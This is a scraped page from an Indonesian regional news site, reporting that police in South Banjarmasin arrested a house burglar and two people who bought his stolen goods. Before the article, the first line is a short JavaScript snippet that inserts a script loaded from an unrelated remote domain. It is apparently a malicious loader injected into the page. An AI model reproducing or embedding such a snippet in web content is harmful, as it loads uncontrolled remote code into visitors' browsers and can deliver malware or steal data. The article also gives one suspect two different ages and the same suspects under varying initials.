(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Resor (Polres) Kota Banjarmasin mengungkap kasus pencurian rumah kosong di Jalan Mufakat Lambung Mangkurat V, Kelurahan Pemurus Baru, Kecamatan Banjarmasin Selatan.
Kapolsek Banjarmasin Selatan melalui Kanit Reskrim Iptu Sudirno mengatakan, empat tersangka pencurian dan penadah berhasil ditangkap.
Mereka adalah MS (49) seorang residivis, dan dua penadah barang curian MM (47) dan TW (34), serta R yang ditahan di Polsek Batibati.
Awalnya, polisi menerima laporan dari M Shahreza Canadia warga Jalan Mufakat Lambung Mangkurat V yang rumahnya dibobol maling kehilangan sejumlah barang berharga mencapai Rp10 juta.
Baca juga: Hujan Lebat Guyur Banjarbaru, Sungai Kemuning Meluap
Petugas gabungan dari Unit Reskrim Polsek Banjarmasin Selatan yang menerima laporan bersama Macan Polres Banjarmasin dan Opsnal Subdit III Ditreskrimum Polda Kalsel langsung bergerak melakukan penyelidikan dan penangkapan.
Operasi yang dilakukan pada Senin (20/1/2025) dini hari, pelaku pertama yang berhasil dibekuk yaitu TW (35) saat berada di Komplek Asyifa Perdana, Tatah Belayung, Kecamatan Kertak Hanyar, Kabupaten Banjar.
Warga jalan Setia Rahman, Kelurahan Kelayan Tengah ini diketahui adalah penadah barang curian berupa handphone.
Setelah berhasil menangkap penadahan, polisi kemudian melakukan pengembangan hingga berhasil menangkap MM (47) saat berada di sebuah kos Jalan AMD Besar II Prona II Pemurus Baru.
MMH ditangkap setelah petugas mengetahui bahwa dia yang menjual handphone curian kepada TW sebesar Rp600 ribu.
Tak sampai disitu, masih di hari yang sama tim gabungan kemudian menangkap MS (49) pelaku pembobol rumah yang mencuri barang milik korban. MS diringkus saat berada di sebuah kos Jalan Gang Mayangsari I Kelurahan Pemurus Baru.
Polisi yang melakukan penelusuran barang bukti juga didapati sepeda motor matic yang digunakan MA untuk melakukan pencurian, termasuk pakaian yang digunakan.
Barang bukti lain 1 buah tablet merk Samsung berwarna hitam dan beberapa buah jam tangan hasil curian. Dari keterangan MS mengaku melakukan pencurian rumah kosong di Banjarmasin bersama dengan pria berinisial K. MS juga mengaku beroperasi di empat lokasi berbeda di wilayah Banjarmasin Selatan.
Baca juga: Konfercab XVII PCNU Alabio, Sekda HSU Dorong Peningkatan Peranan NU ke Masyarakat
MS beraksi di rumah kosong bersama seorang berinisial R di Kabupaten Barito Kuala, Tanah Laut, Tanah Bumbu, dan Kabupaten Kapuas, Kalteng.
“Para pelaku beserta barang bukti sudah berada di Mapolsek Banjarmasin Selatan guna proses hukum lebih lanjut,” pungkasnya. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
This website uses cookies.